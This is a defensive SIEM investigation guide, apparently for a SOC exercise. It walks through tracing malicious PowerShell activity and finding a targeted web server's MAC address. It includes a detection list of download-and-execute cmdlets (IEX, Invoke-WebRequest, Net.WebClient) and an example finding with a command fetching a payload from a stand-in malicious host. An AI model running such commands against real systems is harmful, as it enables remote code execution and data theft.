To determine the physical address of the targeted web server, follow these step-by-step instructions to analyze the logs in your SIEM system. The goal is to identify malicious PowerShell activity targeting the web server during the specified time window (12:00 AM to 1:00 AM on December 4, 2024).

Step 1: Understand the Context

Scenario: Your SIEM has detected suspicious PowerShell activities during off-hours (12:00 AM to 1:00 AM).

Objective: Identify the physical (MAC) address of the web server targeted by the malicious PowerShell commands.

Step 2: Identify Relevant Log Sources

Logs to investigate:

PowerShell logs (Event ID 4104) for command execution.

Windows Security Event Logs for login and access attempts.

Network Traffic Logs (firewall or IDS/IPS) to detect connections made by PowerShell.

Web Server Access Logs for any unusual requests.

SIEM Log Sources:

Windows Event Logs (Sysmon/PowerShell)

Firewall Logs

IDS/IPS Alerts

Web Server Logs (IIS, Apache)

Step 3: Use SIEM Filters to Isolate Relevant Events

Time Frame Filter:

Set the time range from 12:00 AM to 1:00 AM on December 4, 2024.

Event ID Filter:

Filter for Event ID 4104 (PowerShell script block logging).

Command Pattern:

Look for suspicious commands like:

Invoke-WebRequest

Invoke-Expression (IEX)

New-Object Net.WebClient

Process Name:

Filter logs where the Process Name is powershell.exe.

Example SIEM Query:

index=windows_logs

| search EventID=4104 ProcessName='powershell.exe'

| where _time between '2024-12-04T00:00:00' and '2024-12-04T01:00:00'

| table _time, ProcessName, CommandLine, SourceIP, DestinationIP, MACAddress

Step 4: Correlate Events with Network Logs

Once you identify PowerShell events, correlate them with network traffic logs.

Focus on:

Source IP Address: Where the PowerShell commands originated.

Destination IP Address: Targeted web server.

Use the IP address of the web server to trace back the MAC address.

Example Network Log Query:

index=network_logs

| search DestinationIP='<Web_Server_IP>'

| where _time between '2024-12-04T00:00:00' and '2024-12-04T01:00:00'

| table _time, SourceIP, DestinationIP, MACAddress, Protocol, Port

Step 5: Analyze the PowerShell Commands

Investigate the nature of the commands:

Data Exfiltration: Using Invoke-WebRequest to send data to external IPs.

Remote Code Execution: Using IEX to run downloaded scripts.

Cross-check commands against known Indicators of Compromise (IOCs).

Step 6: Validate the Web Server's Physical Address

Identify the MAC address corresponding to the targeted web server.

Cross-reference with ARP tables or DHCP logs to confirm the mapping between IP and MAC address.

Example ARP Command on Windows:

arp -a | findstr <Web_Server_IP>

Step 7: Report the Findings

Document the targeted server's IP address and MAC address.

Summarize the malicious activity:

Commands executed

Time and duration

Source and destination IPs

Example Finding:

Web Server IP: 192.168.1.50

Physical (MAC) Address: 00:1A:2B:3C:4D:5E

Time of Attack: 12:30 AM, December 4, 2024

PowerShell Command: Invoke-WebRequest -Uri 'http://malicious.com/payload'

Step 8: Take Immediate Actions

Isolate the affected server.

Block external IPs involved.

Terminate malicious PowerShell processes.

Conduct a forensic analysis of compromised systems.

Step 9: Strengthen Security Post-Incident

Implement PowerShell Logging: Enable detailed script block and module logging.

Enhance Network Monitoring: Set up alerts for unusual PowerShell activities.

User Behavior Analytics (UBA): Detect anomalous login patterns outside working hours.